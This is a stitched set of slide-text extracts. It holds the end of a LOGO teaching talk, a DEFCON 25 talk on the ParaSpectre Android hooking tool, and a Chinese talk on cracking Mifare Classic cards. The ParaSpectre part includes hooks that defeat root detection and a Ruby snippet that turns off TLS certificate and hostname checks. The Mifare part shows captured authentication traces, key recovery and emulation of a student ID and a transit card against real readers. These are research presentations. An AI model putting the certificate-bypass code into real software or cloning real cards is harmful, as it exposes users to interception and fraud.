know how. how. --The Cat in the Hat The Cat in the Hat Results Results ●● What is a PROGRAM? What is a PROGRAM? ●● Why do programing? Why do programing? ●● No computers the first month. No computers the first month. ●● History of computing. History of computing. Results Results Results Results ●● LOGO LOGO ●● Turtle graphics. Turtle graphics. ●● Begin with only relative motion commands. Begin with only relative motion commands. –– fd fd steps == Forward some number of turtle steps. steps == Forward some number of turtle steps. –– rt deg == Right Turn some number of degrees. rt deg == Right Turn some number of degrees. ●● Try it first then write a program. Try it first then write a program. Results Results to square to square fd 100 fd 100 rt 90 rt 90 fd 100 fd 100 rt 90 rt 90 fd 100 fd 100 rt 90 rt 90 fd 100 fd 100 end end to square to square repeate 4 [fd 100 rt 90] repeate 4 [fd 100 rt 90] end end to poly :sides to poly :sides repeat :sides [ repeat :sides [ fd 100 rt 360/:sides fd 100 rt 360/:sides ]] end end to poly :sides :size to poly :sides :size repeat :sides [ repeat :sides [ fd :size rt 360/:sides fd :size rt 360/:sides ]] end end Results Results Results Results Results Results From a basic From a basic Octahedral cell... Octahedral cell... Results Results ...to a crystal. Or if you ...to a crystal. Or if you prefer... prefer... Results Results Results Results Results Results ●● Students take responciblity for their own Students take responciblity for their own learning. learning. ●● Learning becomes self driven. Learning becomes self driven. ●● Students become intrested in the computing Students become intrested in the computing environment of the school. environment of the school. –– Hardware maintenance. Hardware maintenance. –– Firewall construction. Firewall construction. Where Now? Where Now? This is all basic stuff. So why don't we see more of it? This is all basic stuff. So why don't we see more of it? ●● How do we expand our reach? How do we expand our reach? ●● Public schools? Public schools? ●● Curriculum or no curriculum? Curriculum or no curriculum? ●● Independent centers? Independent centers? ●● Working with the learning disabled? Working with the learning disabled? ––A real robot turtle. A real robot turtle. ––Virtual Turtle in the real world. Virtual Turtle in the real world. ●● Working with younger hackers? Working with younger hackers? Props out... Props out... ●● Diane Thompson, Amelia McCarthy Diane Thompson, Amelia McCarthy ●● Rod and Jane Connell Rod and Jane Connell ●● Vince Szewczyk, David Kraus Vince Szewczyk, David Kraus ●● Maria Montessori, Jean Piaget, Seymour Maria Montessori, Jean Piaget, Seymour Pappert, Brian Harvey, George Mills Pappert, Brian Harvey, George Mills
pdf
Ghost in the Droid Possessing Android Applications with ParaSpectre Jeff Dileo (chaosdata) DEFCON 25 Hi! I’m Jeff, and I have a problem. I like to do bad things to worse programming languages. *audience says* Hiiiiiiiiiiiiiiiiii Jeff Outline • Introduction • Motivation • Original Plan • Android Function Hooking 102 • ParaSpectre • Demos • Future Work Introduction What is this about? • Injecting JRuby into Android applications to hook functionality Why should you care? • You reverse Android apps • You develop Android apps, but realize the debugging stack sucks • You like Ruby and/or REPLs $ irb irb (main):001:0> puts ” this is a REPL” this is a REPL => n i l irb (main):002:0> $ python Python 2.7.11 ( default , Mar 1 2016, 18:47:52) [GCC 4.2.1 Compatible Apple LLVM 6.1.0 (clang−602.0.53)] on darwin Type ”help” , ”copyright ” , ”credits” or ”license” for more information . >>> print ” this is also a REPL” this is also a REPL >>> Motivation • Was reversing multiple complex Android apps • Including a screwy Korean chat app used primarily by Japanese people • Writing hooks for it was tedious and it was tricky to figure out what all of the nested obfuscated objects were Original Plan REPL-ize • Take the interesting functions ...and wrap them in REPLs! • REPLs are great • They give you an interactive shell • And let you poke around at stuff Android Function Hooking — LD_PRELOAD Shim to Win LD_PRELOAD: • Old-school function hooking • setprop wrap.<pkg> LD_PRELOAD=/path/to/file.so • Override dynamically linked native functions • Inject a native function to run early in app startup • Requires root access Android Function Hooking — LD_PRELOAD Example #include <dlfcn.h> #include <stdio.h> #include <unistd.h> static int (*_real_rand)(void) = NULL; __attribute__((constructor)) static void setup() { _real_rand = (int(*)(void))dlsym(RTLD_NEXT, "rand"); } int rand() { if(access(".ps3mode", F_OK) != -1 ) { return 4; } return (*_real_rand)(); } Android Function Hooking — Frida J-J-J-JavaScript! Frida: • Stomps over instruction memory to add hooks • Function hooks (for native code and Java) implemented in JavaScript (or native code using frida-gum) • Injected with either a root daemon, LD_PRELOAD, or by modifying an APK • Requires root access (if not modifying an APK) Android Function Hooking — Frida Example Java.perform(function() { var File = Java.use('java.io.File'); File.exists.implementation = function() { if(this.path.value == '/system/xbin/su') { return false; } return this.exists(); } }); Android Function Hooking — Xposed Monkey-patching zygote is safe, right? Xposed Framework • Modifies Zygote to allow for hook code from other packages to be loaded early in the boot of a target application • Provides an API to register further hooks within an application • Due to hook code and target application code having different classloaders, hooks generally require a lot of reflection to manipulate instances of classes defined in the target application • Write hooks in anything that compiles into Java/Dalvik bytecode • Requires the ability to modify the system image Android Function Hooking — Xposed Example (top-level scaffolding) public class XposedEntry implements IXposedHookLoadPackage { @Override public void handleLoadPackage(XC_LoadPackage.LoadPackageParam lpp) throws Throwable { if (!lpp.packageName.equals("...")) { return; } ClassLoader singledexcl = lpp.classLoader; try { <next slide> } catch (Throwable t) {...} } } Android Function Hooking — Xposed Example (multidex scaffolding) XposedHelpers.findAndHookMethod("android.app.Application", singledexcl, "attach", Context.class, new XC_MethodHook() { @Override protected void afterHookedMethod( XC_MethodHook.MethodHookParam param) throws Throwable { Context context = (Context) param.args[0]; ClassLoader multidexcl = context.getClassLoader(); try { <next slide> } catch (NoSuchMethodError nsme) { //pass } catch (Throwable t) {...} } } ); Android Function Hooking — Xposed Example (main hook) XposedHelpers.findAndHookMethod("...", multidexcl, "...", ...<...>.class, new XC_MethodHook() { @Override protected void beforeHookedMethod( MethodHookParam param) throws Throwable { super.beforeHookedMethod(param); ... } @Override protected void afterHookedMethod( MethodHookParam param) throws Throwable { super.afterHookedMethod(param); ... } } ); Android Function Hooking — Xposed Example (actual hook) XposedHelpers.findAndHookMethod(File.class, multidexcl, "exists", new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { String path = ((File) param.thisObject).getAbsolutePath(); if (path.equals("/system/xbin/su")) { param.setResult(new Boolean(false)); } } }); Note: Bootstrap/Android framework classes don’t require multidex scaffolding to hook. Parasect The ”Mushroom Pokémon” Pokédex entries: • Red/Blue • A host-parasite pair in which the parasite mushroom has taken over the host bug. Prefers damp places. • Yellow • The bug host is drained of energy by the mushrooms on its back. They appear to do all the thinking. • Gold/Stadium 2 • It stays mostly in dark, damp places, the preference not of the bug, but of the big mushrooms on its back. • Crystal • When nothing’s left to extract from the bug, the mushrooms on its back leave spores on the bug’s egg. • Diamond/Platinum/Black(2)/White(2)/X • A mushroom grown larger than the host’s body controls Parasect. It scatters poisonous spores. ParaSpectre ”There are only two hard things in Computer Science: cache invalidation and naming things.” -Phil Karlton 1 • para-, from Ancient Greek παρά (pará, ”beside; next to, near, from; against, contrary to”) • in(tro)spection, from Middle French, from Old French inspeccion, from Latin inspectiō (”examination, inspection”), from the verb inspectō (“I inspect”), from spectō (”I observe, I watch”), frequentive of speciō (”I look at”) • spectre, from French spectre, from Latin spectrum (”appearance, apparition”) • Parasect, from parasite and insect • ParaSpectre, from all of the above 1He was an original X11 designer/implementer, so you know he’s seen some shit. ParaSpectre OK, but seriously, what is it? • A function/method hooking tool for Android • Injects a JRuby interpreter into a target process • Uses JSON to configure method matching selectors • Hooked functions call into custom Ruby code • And/or drop into an interactive in-process Ruby REPL • Implemented using Xposed • Provides first class access to the Java runtime environment and classloaders • Ensures that arbitrary app packages may be hooked at device startup • Hook reloading only requires restarting the application/process • For reference, reloading Xposed hooks themselves requires reinstalling the hook app’s APK and then rebooting the device. Capabilities Let your hooks choose their own destiny! Matching selectors • Be as specific or vague as you want to select methods for hooking • Uses an intersection of the provided selectors to filter • Class matching (if class name is not supplied), by: • superclass name • implemented interfaces • Method matching, by: • method name • argument type signature • return type • exception signature Capabilities MINASWAN Ruby (via JRuby) • Solid scripting language • Can be forced to run on Android • ...with relatively minimal blood sacrifices • Solid Java interop made better with classloader injection • Code runs with access to the hooked application’s classloader • No need for reflection, just write the code • Define subclasses/impls for app-defined classes/ifaces and plug them • Stackable script hooks • Per application package • Per class matcher • Per method matcher Capabilities Run wild at runtime! Runtime exploration • With Pry2 REPLS! • Pry is a suped-up REPL for Ruby, it’s way better than IRB • Drop to a Pry REPL to inspect and manipulate application state at runtime • By default, hooks will drop into a Pry REPL if they don’t return early 2https://pryrepl.org Features Connect-back REPLs • Uses a modified version of pry-remote3 • Modifies how it uses the DRuby distributed object protocol • Adds support for specifying client and daemon ports • Adds support for Unix domain sockets • Add authentication (see below) • Uses a modified Ruby stdlib and a custom authenticating proxy that adds authentication to DRuby • If you couldn’t tell by now, DRuby is a super dangerous protocol that is completely unauthenticated and, by default, enables RCE • Each connect-back REPL is opened in a new tmux window • Injects hooks into the package manager system service to enable the main ParaSpectre app to grant the INTERNET permission to apps that don’t request it. 3https://github.com/chaosdata/pry-remote Features You did WHAT with Jetty?!? Includes a configuration editor web application • Raw Jetty Servlet4 web app running on Android • Usable from a mobile browser on the Android device itself! • Used to configure method matcher selectors and write Ruby hook code • Supports a hook editing workflow that doesn’t require adb push • UI is Ace-based5 • Edits are tracked in an on-device Git repo • Basic access controls using API keys regenerated on web app start • Per-app hook config files, with format validation • Write inline Ruby hooks or reference flat Ruby files 4Undertow and RESTEasy had issues due to AWT dependencies 5https://ace.c9.io Design ”Simple” in the sense that this fits on a slide • Loads hook configuration data • Reads (rw-r-r--) config files from main ParaSpectre app directory • Based on app package name • Falls back to a core paraspectre.json config • Sets up a JRuby environment on Android • Xposed hook loads pre-dexed JRuby JAR into a hook-configured application • Uses some reflection-based environment setup, options tweaking, and custom classes added into JRuby to make it run properly on Android • Iterates through all classes in target application’s classloader chain • Selectors use config values to pick from available classes • Uses Xposed to set up hooks on matching classes/methods • The Xposed hooks invoke the config-specified JRuby Hooks Instant ramen hook The JSON config format is a work in progress, but works well enough. { "classes": [ { "name": "android.support.v7.app.AppCompatActivity", "methods": [ { "name": "findViewById", "params": ["int"], "returns": "android.view.View", "eval": "puts 'id: ' + args[0].to_s; return;" } ], "eval": "puts 'in ' + method.to_s;" } ], "eval": "" } Hooks — Configuration ”Jay Sahn” More involved hooks should be broken out into a separate Ruby file. { "classes": [ { "name": "okhttp3.OkHttpClient$Builder", "methods": [ { "name": "build", "eval_file": "okhttp3.OkHttpClient$Builder::build.rb" } ] } ] } Hooks — Code ”Jay Roo Bee” this . proxy( java . net . Proxy .new( java . net . Proxy : : Type. valueOf( ’HTTP ’ ) , java . net . InetSocketAddress .new( ’ 127.0.0.1 ’ ,8080)) ) this . certificatePinner ( Java : : Okhttp3 . CertificatePinner : :DEFAULT ) ; trustAllCerts = Class .new() { include javax . net . ssl .X509TrustManager def checkClientTrusted (chain ,authType) end def checkServerTrusted(chain ,authType) end def getAcceptedIssuers () [ ] . to_java ( java . security . cert . X509Certificate ) end }.new ctx = javax . net . ssl . SSLContext . getInstance ( ’SSL ’ ) ctx . i n i t ( nil , [ trustAllCerts ] , java . security .SecureRandom.new ) socketFactory = ctx . getSocketFactory () this . sslSocketFactory ( socketFactory , trustAllCerts ) verifier = Class .new() { include javax . net . ssl . HostnameVerifier def verify (hostname, session ) true end }.new this . hostnameVerifier ( verifier ) return Performance Tricks JRuby Initialization • Pre-dexed JRuby jar is loaded into the classloader during Zygote init • Due to SEAndroid policies, stores this file under /data/dalvik-cache/paraspectre • Zygote can read from it, runtime root can write to it • Due to race conditions inherent in Android’s boot sequence, attempting to initialize a JRuby script container in Zygote deadlocks the system due to Zygote taking too long to initialize • Dianne Hackborn, please save us from this darkness6 • As a result, JRuby scripting containers are initialized separately in each hooked app • This is time consuming • But we can kick this off in a background thread at the Xposed entry point in app start • The initial run of Ruby code in an initialized container takes several seconds to run • Post-init, a Ruby hook script of ”return;” is eval’d in the container to prep it before use 6Also, can you kill D-Bus and replace it with binder? Performance Tricks Class searching and matching • Various performance tricks played in scanning classes for matchers • To search, it needs to iterate through the list of loaded classes • Save time here by only iterating through class names in app’s own DEX files • Normal ClassLoader::loadClass hits a worst-case path where it searches through the parent classloader for framework classes • Bypassed this by yanking out the protected dalvik.system.BaseDexClassLoader::findClass method and invoking it directly • Still running into the classloader global lock • This prevents multithreaded class iteration, and actually makes it less performant due to lock contention • May eventually parse DEX files directly to get metadata for matchers Performance Results • JRuby container initialization went from 29 seconds of startup overhead to being nigh-instantaneous* • Class matching overhead is generally unobservable on single DEX applications • com.facebook.katana7 has 12 classes.dex files comprising about 100k classes; it is not a slender blade • Class iteration (not performed if class matchers are specified by name) takes 30 seconds • Once iterated, the matching set of classes (logged to logcat) can be specified by name in the config 7Literally the biggest Android app I can think of. Performance Caveats If a hook runs automatically on startup, it may have to wait for the initial JRuby container to be fully initialized, which can take up to 6 seconds on a ”modern” Android device8 • This runs in parallel to any class searching, which fully blocks app startup to prevent target methods from running unhooked 8All Android performance numbers come from a Nexus 5X. Performance Speed and Latency • Overall though, the edit workflow is two orders of magnitude smaller than writing raw Xposed hooks • Edit Java code (??) • Compile Java code as an Android app (30s+)9 • Copy APK to mobile device (10s+) • Install APK (30s+) • Reboot phone (2-3 minutes if the device is encrypted and has a PIN) 9All laptop performance numbers come from a Late 2013 13” MacBook Pro. Demos Where? Soon https://github.com/nccgroup/paraspectre Current Limitations Caveat emptor! • The DRuby protocol is scary, a hooked app (as it can authenticate) can potentially gain RCE on the host running the pry-remote-based client • For now, it’s probably best to run the REPL client from a VM • Long term solution involves research into DRuby • Medium term solution involves sandboxing the client • Adding gems is not supported yet, and requires manual bit twiddling Future Work Fixing the limitations • Gem JAR file upload API • Overhaul the UI for creating, editing, and managing hooks • Android 7/N+ compatibility (once Xposed supports it) • Current world-readable config file implementation may break due to SEAndroid changes • Google’s workaround uses the Android support library, not a standard class • Leveraging root access to edit a shared config in the /data/dalvik-cache/paraspectre directory is ugly, but feasible • Figure out the DRuby situation Greetz Here’s to all the little people... • aleks • arkos • bones • justin • nabla • niko • weber Questions? [email protected] @ChaosDatumz Ghost in the Droid Possessing Android Applications with ParaSpectre Jeff Dileo (chaosdata) DEFCON 25
pdf
1 Cryptanalysis in real life 周立平 等研究團隊 Do u understand real hackers ? 第3頁 綱目 第一章 緒論 第二章 Mifare Classic Card介紹 第三章 Mifare Classic Card現有 攻擊方式 第四章 二代卡的特性 第五章 自然人憑證 第4頁 RFID RFID 非接觸式 Smart Card 第一章 緒論 攻擊背景 Reader Tag 010101 YoYo卡 一卡通 i-cash 第5頁 第一章 緒論 攻擊手段 Reader Tag 加密 解密 竊聽 第6頁 第一章 緒論 現狀 新/舊卡 改良方式 新卡 用3DES etc 舊卡 改善弱點 增加金鑰長度 etc 成本?? 0.8美元/張,全球已發行約10億張 第7頁 第二章 Mifare Classic Card介紹 第一節 Mifare Classic Card規格 與結構 第二節 Mifare Classic Card認證 協定 第三節 Crypto-1加密演算法 第四節 Mifare Classic Card弱點 第8頁 第二章 Mifare Classic Card介紹 第一節 Mifare Classic Card規格與結構 規格與特性 1.操作頻率:13.56 MHz。 2.傳輸速度:106 Kbps。 3.傳輸距離:10cm。 第9頁 第二章 Mifare Classic Card介紹 第一節 Mifare Classic Card規格與結構 資料儲存結構 Sector Block 0 Block 1 Block 2 Block 3 0 Manufacturer Code Data Block Data Block Key A, Access Conditions, Key B 1 Data Block Data Block Data Block Key A, Access Conditions, Key B 2 Data Block Data Block Data Block Key A, Access Conditions, Key B 3 Data Block Data Block Data Block Key A, Access Conditions, Key B 4 Data Block Data Block Data Block Key A, Access Conditions, Key B 5 Data Block Data Block Data Block Key A, Access Conditions, Key B 6 Data Block Data Block Data Block Key A, Access Conditions, Key B 7 Data Block Data Block Data Block Key A, Access Conditions, Key B 8 Data Block Data Block Data Block Key A, Access Conditions, Key B 9 Data Block Data Block Data Block Key A, Access Conditions, Key B 10 Data Block Data Block Data Block Key A, Access Conditions, Key B 11 Data Block Data Block Data Block Key A, Access Conditions, Key B 12 Data Block Data Block Data Block Key A, Access Conditions, Key B 13 Data Block Data Block Data Block Key A, Access Conditions, Key B 14 Data Block Data Block Data Block Key A, Access Conditions, Key B 15 Data Block Data Block Data Block Key A, Access Conditions, Key B 第10頁 第二章 Mifare Classic Card介紹 第一節 Mifare Classic Card規格與結構 記憶體儲存結構 UID,BCC,Manufacturer Code (製造廠商資料) 0x00 DATA Block(資料區塊) 0x01 DATA Block(資料區塊) 0x02 Sector 0x00 4 block, 64bytes Key A, Access Conditions(存取條件), Key B 0x03 DATA Block(資料區塊) 0x04 DATA Block(資料區塊) 0x05 DATA Block(資料區塊) 0x06 Sector 0x01 4 block, 64bytes Key A, Access Conditions, Key B 0x07 … DATA Block(資料區塊) 0xf0 … 共有16block 256bytes Key A, Access Conditions, Key B 0xff UID,BCC,Manufacturer Code (製造廠商資料) 0x00 DATA Block(資料區塊) 0x01 DATA Block(資料區塊) 0x02 Sector 0x00 4 block, 64bytes Key A, Access Conditions(存取條件), Key B 0x03 DATA Block(資料區塊) 0x04 DATA Block(資料區塊) 0x05 DATA Block(資料區塊) 0x06 Sector 0x01 4 block, 64bytes Key A, Access Conditions, Key B 0x07 … DATA Block(資料區塊) 0xf0 … 共有16block 256bytes Key A, Access Conditions, Key B 0xff 第11頁 第二章 Mifare Classic Card介紹 第一節 Mifare Classic Card規格與結構 通訊流程 詢卡 認證 卡片 防碰撞機制 選卡 讀區塊 寫區塊 加值 回存 減值 Halt 傳送 第12頁 第二章 Mifare Classic Card介紹 第二節 Mifare Classic Card認證協定 一、Mifare Classic卡認證流程 2.Nt 3.{Nr}、{Ar} 4.{At} 1.UID(卡號) READER TAG {}表示加密狀態 第13頁 第二章 Mifare Classic Card介紹 第二節 Mifare Classic Card認證協定 二、通訊範例 Step 發 送 者 H e x ( 1 6 進 位 內 容 ) I S O 1 4 4 4 3 指 令 註 解 0 RD 26 REQUEST Hi, I am Reader, Is any card here ? 1 TAG 04 00 AWAKE Hello, I am here. 2 RD 93 20 Polling Who are you ? 3 TAG 9C 59 9B 32 6C UID I am 9C 59 9B 32 6C 4 RD 93 70 9C 59 9B 32 6C 6B 30 ANTI COLL OK, I want to talk to you 9C 59 9B 32 6C 5 TAG 08 B6 DD TAG TYPE Ok. My card type is Mifare Classic 1K 6 RD 60 00 F5 7B AUTH 開始認證 , 請問 00 Block 7 TAG 82 A4 16 6C Nt 明文 Nt 8 RD EF EA 1C DA 8D 65 73 4B Nr + Nt' 密文 {Nr} + {Ar} 9 TAG 9A 42 7B 20 Nt" 密文 {At} 第14頁 第二章 Mifare Classic Card介紹 第三節 Crypto-1加密演算法 一、LFSR (Linear Feedback Shift Registers) 線性反饋位移暫存器 1 0 1 0 ㊉ ㊉ n個位元的LFSR,變化周期最大為2n-1種 第15頁 第二章 Mifare Classic Card介紹 第三節 Crypto-1加密演算法 二、PRNG(Pseudo-random Number Generator)偽亂數產生器 9 10 11 12 13 14 15 8 7 6 5 4 3 2 1 0 9 10 11 12 13 14 15 8 7 6 5 4 3 2 1 0 suc(x0x1...x31):= x1x2...x31L (x16x17...x31) L (x0x1...x15):= x0⊕x2⊕x3⊕x5 第16頁 第二章 Mifare Classic Card介紹 第三節 Crypto-1加密演算法 三、Filter Function 48 bit LFSR f(a) f(b) f(b) f(a) f(b) f(c) Keysteam 第17頁 第二章 Mifare Classic Card介紹 第三節 Crypto-1加密演算法 四、同位元(Parity Bit) 0 1 2 3 4 5 6 7 P 0 1 2 3 4 5 6 7 1 2 3 4 5 6 7 P 0 1 2 3 4 5 6 7 0 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 1 2 3 4 5 6 7 0 明文 密鑰串流 第18頁 第二章 Mifare Classic Card介紹 第三節 Crypto-1加密演算法 五、Crypto-1演算法加密過程 (一)Crypto-1初始狀態設定 Crypto-1 Key Keystream Nt UID 第19頁 第二章 Mifare Classic Card介紹 第三節 Crypto-1加密演算法 五、Crypto-1演算法加密過程 (二) Nr加密 Crypto-1 Nr 加密{Nr} 第20頁 第二章 Mifare Classic Card介紹 第三節 Crypto-1加密演算法 五、Crypto-1演算法加密過程 (三)Tag產生Ar、At前的Crypto-1狀態 Crypto-1 加密{Nr} 第21頁 第二章 Mifare Classic Card介紹 第三節 Crypto-1加密演算法 五、Crypto-1演算法加密過程 (四)Reader產生Ar、Tag產生At的密文 Crypto-1 Suc2(Nt) Suc3(Nt) Halt Nack keystream {Ar}、{At}、{Halt}、{Nack} 第22頁 第二章 Mifare Classic Card介紹 第四節 Mifare Classic Card弱點 一、密鑰串流之取得 Reader Tag UID、Nt、{Ar}、 {At}、{Halt}、{Nack} 第23頁 第二章 Mifare Classic Card介紹 第四節 Mifare Classic Card弱點 二、LFSR Rollback 1 0 1 0 ㊉ ㊉ R(x1x2...x47 L(x0x1...x47)) = x0 第24頁 第二章 Mifare Classic Card介紹 第四節 Mifare Classic Card弱點 三、Inputs to Filter Function 48 bit LFSR Filter Function Filter Function 1bit 20bit Odd 20 bit Even 20 bit 1個位元可以推20個 奇、偶位元。 連續2個位元則可以 推21個奇、偶位元。 第25頁 第二章 Mifare Classic Card介紹 第四節 Mifare Classic Card弱點 四、Parity Bit 0 1 2 3 4 5 6 7 P 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 明文 密鑰串流 已知 {0} {1} {2} {3} {4} {5} {6} {7} {P} {0} {1} {2} {3} {4} {5} {6} {7} 密文 第26頁 第二章 Mifare Classic Card介紹 第四節 Mifare Classic Card弱點 五、Nested Authentications Nt0 {Nt1} Nt1 ㊉{Nt1}=>密鑰串流 Nt:216-1種的變化 第27頁 第三章 Mifare Classic Card 現有攻擊方式 竊聽攻擊法 {Nr}差分攻擊法 第28頁 第三章 Mifare Classic Card現有攻擊 竊聽攻擊法 Reader Tag UID、Nt、{Nr}、{Ar}、{At} 1.使用Nt、 {At}、{Halt}、{Ar}計算ks3、ks2 2.使用{Nr}來計算ks1、Nr。 3.使用Nr來回推state。 4.使用UID、Nt來回推Key。 真的讀卡機 真的卡片 第29頁 第三章 Mifare Classic Card現有攻擊 {Nr}差分攻擊法 {Nr} LFSR LFSR LFSR LFSR LFSR LFSR LFSR LFSR Nack Nack Nack Nack Nack Nack Nack Nack 固定的LFSR差異 金鑰 第30頁 第三章 Mifare Classic Card現有攻擊 攻擊工具 1.CRYPTO1 lib 主要是針對CRYPTO1加密演算 法寫的程式,經由此程式, 我們可以解出Key的內容。 UID= 0x9c599b32; Nt= 0x82a4166c; {Nr}= 0xa1e458ce; {Ar}= 0x6eea41e0; {At}= 0x5cadf439; 計算出Key為ffffffffffff。 第31頁 第三章 Mifare Classic Card現有攻擊 攻擊工具 2.MFCUK:Mifare Classic Universal toolkit 此軟體工具包含相關的範例 及 各 種 使 用 在 L i b n f c 和 Crapto-1的工具,該軟體是 針對Mifare Classic卡的弱 點 並 參 考 W i r e l e s s l y Pickpocketing a Mifare Classic Card及THE DARK S I D E O F S E C U R I T Y B Y OBSCURITY這二篇論文的攻擊 方 式 去 寫 的 程 式 。 第32頁 第三章 Mifare Classic Card現有攻擊 攻擊工具 3.MfOC(Mifare Classic Offline Cracker ) 此軟體是NFC的工具軟體之一, 它可以還原Mifare Classic 卡片的密鑰,利用的原理是 Nested Authentication來還 原密鑰,只要能知道某一個 Sector的密鑰及Nt,它就可 以把其他Sector的密鑰還原。 第33頁 第三章 Mifare Classic Card現有攻擊 攻擊工具 4.Libnfc[NFC10] 此軟體讓NFC的設備可以做相 關的模擬,它可以模擬 Mifare Classic卡片認證的 過程,軟體為一自由軟體, 開放程式碼,可以人員依其 需求做修改。 詢卡 防碰撞 第34頁 第三章 Mifare Classic Card現有攻擊 攻擊工具 5.Proxmark 3 可以使用在任何類型的低頻 率(125 KHz)或高頻率 (13.56 MHz)的RFID設備。 它可以模擬成卡片或讀卡機。 它也可以竊聽讀卡機和卡片 之間的通訊過程。它可以分 析接收在空中的訊號作。 主機 天線 第35頁 第三章 Mifare Classic Card現有攻擊 攻擊工具 使用ISO 14443的標準的讀卡 機。 第36頁 第三章 Mifare Classic Card現有攻擊 Mifare Classic模擬 卡片記憶體說明 1.Sector 0:卡片基本資料(卡片 UID) 。 2.Sector 1:卡片認證及管理的資料。 3.Sector 2:卡片的餘額。 4.Sector 3:最近2次交易的紀錄。 5.Sector 4:最近6次使用紀錄1-3。 6.Sector 5:最近6次使用紀錄4-6。 7.Sector 6:公車使用紀錄。 8.Sector 7:最後進出站紀錄。 9.Sector 14:大學學生資料。 10.Sector 15:小額付款每日花費最 大金額。 11.Sector 8-13:空白(保留)。 卡片基本資料(卡片UID) 卡片認證及管理的資料 卡片的餘額 最近2次交易的紀錄 最近6次使用紀錄1-3 最近6次使用紀錄4-6 公車使用紀錄 最後進出站紀錄 空白 空白 空白 空白 空白 空白 文化大學學生資料 小額付款每日花費最大金額 Data Block Sector 0-3 0 4-7 1 8-11 2 12-15 3 16-19 4 20-23 5 24-27 6 28-31 7 32-35 8 36-39 9 40-43 10 44-47 11 48-51 12 52-55 13 56-59 14 60-63 15 卡片基本資料(卡片UID) 卡片認證及管理的資料 卡片的餘額 最近2次交易的紀錄 最近6次使用紀錄1-3 最近6次使用紀錄4-6 公車使用紀錄 最後進出站紀錄 空白 空白 空白 空白 空白 空白 文化大學學生資料 小額付款每日花費最大金額 Data Block Sector 0-3 0 4-7 1 8-11 2 12-15 3 16-19 4 20-23 5 24-27 6 28-31 7 32-35 8 36-39 9 40-43 10 44-47 11 48-51 12 52-55 13 56-59 14 60-63 15 XX 第37頁 第三章 Mifare Classic Card現有攻擊 Mifare Classic模擬 模擬流程 側錄 合法卡片與 合法讀卡機 的溝通 撰寫 libnfc讀卡 機程式模擬 讀卡機與合 法卡片溝通 撰寫 proxmark3的 程式與 libnfc讀卡 機溝通 proxmark3與 合法讀卡機 溝通 第38頁 第三章 Mifare Classic Card現有攻擊 Mifare Classic模擬 學生證模擬 1.透過proxmark3設備竊聽(snoop)學生證與學校讀卡機 之間溝通的訊息,發現學校門禁讀卡機是讀Sector 14 的資料, 2.用libnfc讀卡機模擬讀卡機與真的卡片測試 3.再libnfc讀卡機與proxmark3做測試。 4.最後proxmark3再與學校討論小間讀卡機做實驗。 第39頁 讀卡機與卡片溝通流程(學生證) 讀 卡 機 學 生 證 認證(auth block 38) Nt {Nr}{Ar} {At} {read block 38} {block 38} 第40頁 Proxmark3竊聽的內容 設備 Hex 說明 Reader 26 TAG 04 00 Reader 93 20 TAG 4c d9 ff 7c 16 Reader 93 70 4c d9 ff 7c 16 b5 84 TAG 08 b6 dd Reader 60 38 3e c6 Auth block 38 TAG 3c 32 65 f1 Nt Reader bb 22 10 d6 c5 f1 be 05 {Nr}{Ar} TAG 99! 38 0c! 3d! {At} Reader aa 15 31 f6 {read} TAG ad 6c! 83! 2d f2 c2! 73 74! 4a c3 7c b2 d9! 48 d3 b7 9b 73! {data} Reader 14 bc 6b 62 {halt} 第41頁 Proxmark3運作時設備會亮橘燈 第42頁 Proxmark3測試 第43頁 第三章 Mifare Classic Card現有攻擊 Mifare Classic模擬 四、XXCard模擬(利用餘額查詢機查詢餘額) 1.透過proxmark3設備竊聽(snoop)學生證與XX查詢機之 間溝通的訊息,發現XX查詢機讀卡機是主要先讀 Sector 0的資料(卡片基本資料),再讀Sector2(餘 額)、Sector4(最近6次使用紀錄前3筆)、Sector5(最 近6次使用紀錄後3筆) 。 2.我們寫程式讓libnfc讀卡機可以讀這些Sector的資料。 3.之後libnfc讀卡機再與proxmark3做測試。 4.最後proxmark3與XX查詢機做實驗。 第44頁 讀卡機與卡片溝通流程(XXcard) 讀 卡 機 Mifare Clasic card 認證(auth block 3) Nt {Nr}{Ar} {At} {read block 3} {block 3} {read sector 2} {sector 2} {read sector 4} {sector 4} {read sector 5} {sector 5} 以上為Nested Auth 第45頁 第四章 二代卡的特性 第一節 與一代卡不同處 第二節 目前的攻擊手法 第四章 二代卡的特性 與一代卡不同處  Nt 的出現比較不會重覆  New PRNG are different from old ones  Old NACK (0101)  舊攻擊的利用重點  Parity is correct, Ar is wrong  Old NACK (0100)  post authentication  Parity is correct, Command is wrong  New NACK (0000)  Always send new NACK (0000 is not sure!)  New NACK does not reflect the parity status 第46頁 第四章 二代卡的特性 目前的攻擊手法  0 sector: 可用舊的 keystream recovery 攻 擊  其他 sector: 舊攻擊無效  {Nr} differential attack  Old {NACK}{0101}  Nested authentication  Nt should be predictable 第47頁 第四章 二代卡的特性 目前的攻擊手法  Now we can try following  Can we allow those random Nt ?  Yes ! But we allow some patterns in pairs  We can count the differential Nts based on some little modified states  We can construct algebra formulas to represent states and relations  Solve them by some existing tools  SAT, SMT solver 第48頁 第49頁 第五章 自然人憑證  “「自然人憑證」是可以在網路上作資料交換 時,如同網路身分證辨識雙方身分。大家都知 道網路很方便。但過去政府無法在網路上為人 民服務。主要有以下兩個原因:  在網路上每個人的身分都是很難確認的(假冒者可 能會冒名辦土地權狀轉移而造成他人損失)  在網路上傳資料,並不是絕對安全的(例如存在著 許多惡意駭客的違法行為) 第五章 自然人憑證  就像簽章一樣,只不過是數位的  方法:做出“兩把數學上有相關性的金鑰,具有下 列特性:其中一把金鑰可用來做訊息加密,而此加 密訊息只有另一把可以解密。就算知道其中一把金 鑰要找出另一把金鑰是不可行的。(從計算的角度 而言)”  怎麼取得我的公開金鑰?  “公開金鑰皆須(一般以數位憑證的形式)公開可 得”  重點!自然人憑證最重要的目的就是把自然人跟他 的公開金鑰綁在一起! 第50頁 第五章 自然人憑證  目前最普遍的方法:RSA (1978年發明) 第51頁 第五章 RSA演算法細節  (N, e): 公開金鑰  (N, d): 私密金鑰  其中公開金鑰和私密金鑰滿足: 1. N = pq且p和q皆為質數 2. de = 1 mod (p – 1)(q – 1)  金鑰生成: 1. 隨機生成差不多大的數,直到生成出質數p,q 2. e和(p-1)(q-1)互質且e < (p-1)(q-1) 3. d 可由演算法得到 第52頁 第五章 RSA加解密  c: 